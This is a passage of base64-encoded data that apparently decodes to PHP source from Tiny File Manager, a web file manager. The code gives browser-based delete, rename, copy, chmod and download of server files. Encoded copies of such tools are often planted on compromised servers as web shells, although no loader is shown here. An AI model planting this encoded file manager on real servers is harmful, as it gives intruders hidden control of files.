gPT4gJz8nKTsKICAgICAgICAgICAgICAgICAgICAkZ3JvdXAgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iY3VzdG9tLWNoZWNrYm94LXRkIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY3VzdG9tLWNvbnRyb2wgY3VzdG9tLWNoZWNrYm94Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgY2xhc3M9ImN1c3RvbS1jb250cm9sLWlucHV0IiBpZD0iPD9waHAgZWNobyAkaWsgPz4iIG5hbWU9ImZpbGVbXSIgdmFsdWU9Ijw/cGhwIGVjaG8gZm1fZW5jKCRmKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImN1c3RvbS1jb250cm9sLWxhYmVsIiBmb3I9Ijw/cGhwIGVjaG8gJGlrID8+Ij48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD48P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZpbGVuYW1lIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheShzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmLCBQQVRISU5GT19FWFRFTlNJT04pKSwgYXJyYXkoJ2dpZicsICdqcGcnLCAnanBlZycsICdwbmcnLCAnYm1wJywgJ2ljbycsICdzdmcnKSkpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwICRpbWFnZVByZXZpZXcgPSBmbV9lbmMoRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICcvJyAuIEZNX1BBVEggOiAnJykgLiAnLycgLiAkZik7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iPD9waHAgZWNobyAkZmlsZWxpbmsgPz4iIGRhdGEtcHJldmlldy1pbWFnZT0iPD9waHAgZWNobyAkaW1hZ2VQcmV2aWV3ID8+IiB0aXRsZT0iPD9waHAgZWNobyAkZiA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iPD9waHAgZWNobyAkZmlsZWxpbmsgPz4iIHRpdGxlPSI8P3BocCBlY2hvICRmID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iPD9waHAgZWNobyAkaW1nID8+Ij48L2k+IDw/cGhwIGVjaG8gZm1fY29udmVydF93aW4oJGYpID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8oJGlzX2xpbmsgPyAnICZyYXJyOyA8aT4nIC4gcmVhZGxpbmsoJHBhdGggLiAnLycgLiAkZikgLiAnPC9pPicgOiAnJykgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1zb3J0PWItIjw/cGhwIGVjaG8gc3RyX3BhZCgkZmlsZXNpemVfcmF3LCAxOCwgIjAiLCBTVFJfUEFEX0xFRlQpOyA/PiI+PHNwYW4gdGl0bGU9Ijw/cGhwIHByaW50ZignJXMgYnl0ZXMnLCAkZmlsZXNpemVfcmF3KSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGZpbGVzaXplOyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1zb3J0PSJiLTw/cGhwIGVjaG8gJG1vZGlmX3Jhdzs/PiI+PD9waHAgZWNobyAkbW9kaWYgPz48L3RkPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PjxhIHRpdGxlPSI8P3BocCBlY2hvICdDaGFuZ2UgUGVybWlzc2lvbnMnID8+IiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y2htb2Q9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+Ij48P3BocCBlY2hvICRwZXJtcyA/PjwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvIGZtX2VuYygkb3duZXJbJ25hbWUnXSAuICc6JyAuICRncm91cFsnbmFtZSddKSA/PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJpbmxpbmUtYWN0aW9ucyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnUHJldmlldycpID8+IiBocmVmPSI8P3BocCBlY2hvICRmaWxlbGluay4nJnF1aWNrVmlldz0xJzsgPz4iIGRhdGEtdG9nZ2xlPSJsaWdodGJveCIgZGF0YS1nYWxsZXJ5PSJ0aW55LWdhbGxlcnkiIGRhdGEtdGl0bGU9Ijw/cGhwIGVjaG8gZm1fY29udmVydF93aW4oJGYpID8+IiBkYXRhLW1heC13aWR0aD0iMTAwJSIgZGF0YS13aWR0aD0iMTAwJSI+PGkgY2xhc3M9ImZhIGZhLWV5ZSI+PC9pPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpID8+IiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PiIgb25jbGljaz0icmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKS4nICcubG5nKCdGaWxlJykuJz8nOyA/PlxuIFxuICggPD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+ICknKTsiPiA8aSBjbGFzcz0iZmEgZmEtdHJhc2gtbyI+PC9pPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnUmVuYW1lJykgPz4iIGhyZWY9IiMiIG9uY2xpY2s9InJlbmFtZSgnPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz4nLCAnPD9waHAgZWNobyBmbV9lbmMoYWRkc2xhc2hlcygkZikpID8+Jyk7cmV0dXJuIGZhbHNlOyI+PGkgY2xhc3M9ImZhIGZhLXBlbmNpbC1zcXVhcmUtbyI+PC9pPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnQ29weVRvJykgPz4uLi4iCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEggLiAnLycgLiAkZiwgJy8nKSkgPz4iPjxpIGNsYXNzPSJmYSBmYS1maWxlcy1vIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdEaXJlY3RMaW5rJykgPz4iIGhyZWY9Ijw/cGhwIGVjaG8gZm1fZW5jKEZNX1JPT1RfVVJMIC4gKEZNX1BBVEggIT0gJycgPyAnLycgLiBGTV9QQVRIIDogJycpIC4gJy8nIC4gJGYpID8+IiB0YXJnZXQ9Il9ibGFuayI+PGkgY2xhc3M9ImZhIGZhLWxpbmsiPjwvaT48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKSA/PiIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2RsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PiI+PGkgY2xhc3M9ImZhIGZhLWRvd25sb2FkIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICAkaWsrKzsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKGVtcHR5KCRmb2xkZXJzKSAmJiBlbXB0eSgkZmlsZXMpKSB7CiAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgPHRmb290PgogICAgICAgICAgICAgICAgICAgIDx0cj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48L3RkPjw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iPD9waHAgZWNobyAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scykgPyAnNicgOiAnNCcgPz4iPjxlbT48P3BocCBlY2hvICdGb2xkZXIgaXMgZW1wdHknID8+PC9lbT48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3Rmb290PgogICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICA8dGZvb3Q+CiAgICAgICAgICAgICAgICAgICAgPHRyPjw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJncmF5Ij48L3RkPjw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImdyYXkiIGNvbHNwYW49Ijw/cGhwIGVjaG8gKCFGTV9JU19XSU4gJiYgISRoaWRlX0NvbHMpID8gJzYnIDogJzQnID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdGdWxsU2l6ZScpLic6IDxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1saWdodCI+Jy5mbV9nZXRfZmlsZXNpemUoJGFsbF9maWxlc19zaXplKS4nPC9zcGFuPicgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdGaWxlJykuJzogPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLWxpZ2h0Ij4nLiRudW1fZmlsZXMuJzwvc3Bhbj4nID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnRm9sZGVyJykuJzogPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLWxpZ2h0Ij4nLiRudW1fZm9sZGVycy4nPC9zcGFuPicgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdNZW1vcnlVc2VkJykuJzogPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLWxpZ2h0Ij4nLmZtX2dldF9maWxlc2l6ZShAbWVtb3J5X2dldF91c2FnZSh0cnVlKSkuJzwvc3Bhbj4nID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnUGFydGl0aW9uU2l6ZScpLic6IDxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1saWdodCI+Jy5mbV9nZXRfZmlsZXNpemUoQGRpc2tfZnJlZV9zcGFjZSgkcGF0aCkpIC4nPC9zcGFuPiAnLmxuZygnRnJlZU9mJykuJyA8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2UtbGlnaHQiPicuZm1fZ2V0X2ZpbGVzaXplKEBkaXNrX3RvdGFsX3NwYWNlKCRwYXRoKSkuJzwvc3Bhbj4nOyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3Rmb290PgogICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgfQogICAgICAgICAgICA/PgogICAgICAgIDwvdGFibGU+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PgogICAgICAgIDxkaXYgY2xhc3M9ImNvbC14cy0xMiBjb2wtc20tOSI+CiAgICAgICAgICAgIDx1bCBjbGFzcz0ibGlzdC1pbmxpbmUgZm9vdGVyLWFjdGlvbiI+CiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtaW5saW5lLWl0ZW0iPiA8YSBocmVmPSIjL3NlbGVjdC1hbGwiIGNsYXNzPSJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTIiIG9uY2xpY2s9InNlbGVjdF9hbGwoKTtyZXR1cm4gZmFsc2U7Ij48aSBjbGFzcz0iZmEgZmEtY2hlY2stc3F1YXJlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdTZWxlY3RBbGwnKSA/PiA8L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibGlzdC1pbmxpbmUtaXRlbSI+PGEgaHJlZj0iIy91bnNlbGVjdC1hbGwiIGNsYXNzPSJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTIiIG9uY2xpY2s9InVuc2VsZWN0X2FsbCgpO3JldHVybiBmYWxzZTsiPjxpIGNsYXNzPSJmYSBmYS13aW5kb3ctY2xvc2UiPjwvaT4gPD9waHAgZWNobyBsbmcoJ1VuU2VsZWN0QWxsJykgPz4gPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtaW5saW5lLWl0ZW0iPjxhIGhyZWY9IiMvaW52ZXJ0LWFsbCIgY2xhc3M9ImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMiIgb25jbGljaz0iaW52ZXJ0X2FsbCgpO3JldHVybiBmYWxzZTsiPjxpIGNsYXNzPSJmYSBmYS10aC1saXN0Ij48L2k+IDw/cGhwIGVjaG8gbG5nKCdJbnZlcnRTZWxlY3Rpb24nKSA/PiA8L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibGlzdC1pbmxpbmUtaXRlbSI+PGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImhpZGRlbiIgbmFtZT0iZGVsZXRlIiBpZD0iYS1kZWxldGUiIHZhbHVlPSJEZWxldGUiIG9uY2xpY2s9InJldHVybiBjb25maXJtKCdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/JykiPgogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtZGVsZXRlJykuY2xpY2soKTsiIGNsYXNzPSJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTIiPjxpIGNsYXNzPSJmYSBmYS10cmFzaCI+PC9pPiA8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgPz4gPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtaW5saW5lLWl0ZW0iPjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJoaWRkZW4iIG5hbWU9InppcCIgaWQ9ImEtemlwIiB2YWx1ZT0iemlwIiBvbmNsaWNrPSJyZXR1cm4gY29uZmlybSgnQ3JlYXRlIGFyY2hpdmU/JykiPgogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtemlwJykuY2xpY2soKTsiIGNsYXNzPSJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTIiPjxpIGNsYXNzPSJmYSBmYS1maWxlLWFyY2hpdmUtbyI+PC9pPiA8P3BocCBlY2hvIGxuZygnWmlwJykgPz4gPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtaW5saW5lLWl0ZW0iPjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJoaWRkZW4iIG5hbWU9InRhciIgaWQ9ImEtdGFyIiB2YWx1ZT0idGFyIiBvbmNsaWNrPSJyZXR1cm4gY29uZmlybSgnQ3JlYXRlIGFyY2hpdmU/JykiPgogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtdGFyJykuY2xpY2soKTsiIGNsYXNzPSJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTIiPjxpIGNsYXNzPSJmYSBmYS1maWxlLWFyY2hpdmUtbyI+PC9pPiA8P3BocCBlY2hvIGxuZygnVGFyJykgPz4gPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtaW5saW5lLWl0ZW0iPjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJoaWRkZW4iIG5hbWU9ImNvcHkiIGlkPSJhLWNvcHkiIHZhbHVlPSJDb3B5Ij4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLWNvcHknKS5jbGljaygpOyIgY2xhc3M9ImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMiI+PGkgY2xhc3M9ImZhIGZhLWZpbGVzLW8iPjwvaT4gPD9waHAgZWNobyBsbmcoJ0NvcHknKSA/PiA8L2E+PC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtMyBkLW5vbmUgZC1zbS1ibG9jayI+PGEgaHJlZj0iaHR0cHM6Ly90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvIiB0YXJnZXQ9Il9ibGFuayIgY2xhc3M9ImZsb2F0LXJpZ2h0IHRleHQtbXV0ZWQiPlRpbnkgRmlsZSBNYW5hZ2VyIDw/cGhwIGVjaG8gVkVSU0lPTjsgPz48L2E+PC9kaXY+CiAgICAgICAgPD9waHAgZWxzZTogPz4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLTEyIj48YSBocmVmPSJodHRwczovL3RpbnlmaWxlbWFuYWdlci5naXRodWIuaW8iIHRhcmdldD0iX2JsYW5rIiBjbGFzcz0iZmxvYXQtcmlnaHQgdGV4dC1tdXRlZCI+VGlueSBGaWxlIE1hbmFnZXIgPD9waHAgZWNobyBWRVJTSU9OOyA/PjwvYT48L2Rpdj4KICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgIDwvZGl2PgoKPC9mb3JtPgoKPD9waHAKZm1fc2hvd19mb290ZXIoKTsKCi8vLS0tIEVORAoKLy8gRnVuY3Rpb25zCgovKioKICogQ2hlY2sgaWYgdGhlIGZpbGVuYW1lIGlzIGFsbG93ZWQuCiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lCiAqIEByZXR1cm4gYm9vbAogKi8KZnVuY3Rpb24gZm1faXNfZmlsZV9hbGxvd2VkKCRmaWxlbmFtZSkKewogICAgLy8gQnkgZGVmYXVsdCwgbm8gZmlsZSBpcyBhbGxvd2VkCiAgICAkYWxsb3dlZCA9IGZhbHNlOwoKICAgIGlmIChGTV9FWFRFTlNJT04pIHsKICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZW5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpOwoKICAgICAgICBpZiAoaW5fYXJyYXkoJGV4dCwgZXhwbG9kZSgnLCcsIHN0cnRvbG93ZXIoRk1fRVhURU5TSU9OKSkpKSB7CiAgICAgICAgICAgICRhbGxvd2VkID0gdHJ1ZTsKICAgICAgICB9CiAgICB9CgogICAgcmV0dXJuICRhbGxvd2VkOwp9CgovKioKICogRGVsZXRlICBmaWxlIG9yIGZvbGRlciAocmVjdXJzaXZlbHkpCiAqIEBwYXJhbSBzdHJpbmcgJHBhdGgKICogQHJldHVybiBib29sCiAqLwpmdW5jdGlvbiBmbV9yZGVsZXRlKCRwYXRoKQp7CiAgICBpZiAoaXNfbGluaygkcGF0aCkpIHsKICAgICAgICByZXR1cm4gdW5saW5rKCRwYXRoKTsKICAgIH0gZWxzZWlmIChpc19kaXIoJHBhdGgpKSB7CiAgICAgICAgJG9iamVjdHMgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAkb2sgPSB0cnVlOwogICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHsKICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykgewogICAgICAgICAgICAgICAgICAgIGlmICghZm1fcmRlbGV0ZSgkcGF0aCAuICcvJyAuICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkb2sgPSBmYWxzZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuICgkb2spID8gcm1kaXIoJHBhdGgpIDogZmFsc2U7CiAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCkpIHsKICAgICAgICByZXR1cm4gdW5saW5rKCRwYXRoKTsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKLyoqCiAqIFJlY3Vyc2l2ZSBjaG1vZAogKiBAcGFyYW0gc3RyaW5nICRwYXRoCiAqIEBwYXJhbSBpbnQgJGZpbGVtb2RlCiAqIEBwYXJhbSBpbnQgJGRpcm1vZGUKICogQHJldHVybiBib29sCiAqIEB0b2RvIFdpbGwgdXNlIGluIG1hc3MgY2htb2QKICovCmZ1bmN0aW9uIGZtX3JjaG1vZCgkcGF0aCwgJGZpbGVtb2RlLCAkZGlybW9kZSkKewogICAgaWYgKGlzX2RpcigkcGF0aCkpIHsKICAgICAgICBpZiAoIWNobW9kKCRwYXRoLCAkZGlybW9kZSkpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpOwogICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHsKICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykgewogICAgICAgICAgICAgICAgICAgIGlmICghZm1fcmNobW9kKCRwYXRoIC4gJy8nIC4gJGZpbGUsICRmaWxlbW9kZSwgJGRpcm1vZGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9IGVsc2VpZiAoaXNfbGluaygkcGF0aCkpIHsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0gZWxzZWlmIChpc19maWxlKCRwYXRoKSkgewogICAgICAgIHJldHVybiBjaG1vZCgkcGF0aCwgJGZpbGVtb2RlKTsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKLyoqCiAqIENoZWNrIHRoZSBmaWxlIGV4dGVuc2lvbiB3aGljaCBpcyBhbGxvd2VkIG9yIG5vdAogKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZQogKiBAcmV0dXJuIGJvb2wKICovCmZ1bmN0aW9uIGZtX2lzX3ZhbGlkX2V4dCgkZmlsZW5hbWUpCnsKICAgICRhbGxvd2VkID0gKEZNX0ZJTEVfRVhURU5TSU9OKSA/IGV4cGxvZGUoJywnLCBGTV9GSUxFX0VYVEVOU0lPTikgOiBmYWxzZTsKCiAgICAkZXh0ID0gcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pOwogICAgJGlzRmlsZUFsbG93ZWQgPSAoJGFsbG93ZWQpID8gaW5fYXJyYXkoJGV4dCwgJGFsbG93ZWQpIDogdHJ1ZTsKCiAgICByZXR1cm4gKCRpc0ZpbGVBbGxvd2VkKSA/IHRydWUgOiBmYWxzZTsKfQoKLyoqCiAqIFNhZmVseSByZW5hbWUKICogQHBhcmFtIHN0cmluZyAkb2xkCiAqIEBwYXJhbSBzdHJpbmcgJG5ldwogKiBAcmV0dXJuIGJvb2x8bnVsbAogKi8KZnVuY3Rpb24gZm1fcmVuYW1lKCRvbGQsICRuZXcpCnsKICAgICRpc0ZpbGVBbGxvd2VkID0gZm1faXNfdmFsaWRfZXh0KCRuZXcpOwoKICAgIGlmKCEkaXNGaWxlQWxsb3dlZCkgcmV0dXJuIGZhbHNlOwoKICAgIHJldHVybiAoIWZpbGVfZXhpc3RzKCRuZXcpICYmIGZpbGVfZXhpc3RzKCRvbGQpKSA/IHJlbmFtZSgkb2xkLCAkbmV3KSA6IG51bGw7Cn0KCi8qKgogKiBDb3B5IGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSkuCiAqIEBwYXJhbSBzdHJpbmcgJHBhdGgKICogQHBhcmFtIHN0cmluZyAkZGVzdAogKiBAcGFyYW0gYm9vbCAkdXBkIFVwZGF0ZSBmaWxlcwogKiBAcGFyYW0gYm9vbCAkZm9yY2UgQ3JlYXRlIGZvbGRlciB3aXRoIHNhbWUgbmFtZXMgaW5zdGVhZCBmaWxlCiAqIEByZXR1cm4gYm9vbAogKi8KZnVuY3Rpb24gZm1fcmNvcHkoJHBhdGgsICRkZXN0LCAkdXBkID0gdHJ1ZSwgJGZvcmNlID0gdHJ1ZSkKewogICAgaWYgKGlzX2RpcigkcGF0aCkpIHsKICAgICAgICBpZiAoIWZtX21rZGlyKCRkZXN0LCAkZm9yY2UpKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJG9iamVjdHMgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAkb2sgPSB0cnVlOwogICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHsKICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykgewogICAgICAgICAgICAgICAgICAgIGlmICghZm1fcmNvcHkoJHBhdGggLiAnLycgLiAkZmlsZSwgJGRlc3QgLiAnLycgLiAkZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG9rID0gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkb2s7CiAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCkpIHsKICAgICAgICByZXR1cm4gZm1fY29weSgkcGF0aCwgJGRlc3QsICR1cGQpOwogICAgfQogICAgcmV0dXJuIGZhbHNlOwp9CgovKioKICogU2FmZWx5IGNyZWF0ZSBmb2xkZXIKICogQHBhcmFtIHN0cmluZyAkZGlyCiAqIEBwYXJhbSBib29sICRmb3JjZQogKiBAcmV0dXJuIGJvb2wKICovCmZ1bmN0aW9uIGZtX21rZGlyKCRkaXIsICRmb3JjZSkKewogICAgaWYgKGZpbGVfZXhpc3RzKCRkaXIpKSB7CiAgICAgICAgaWYgKGlzX2RpcigkZGlyKSkgewogICAgICAgICAgICByZXR1cm4gJGRpcjsKICAgICAgICB9IGVsc2VpZiAoISRmb3JjZSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIHVubGluaygkZGlyKTsKICAgIH0KICAgIHJld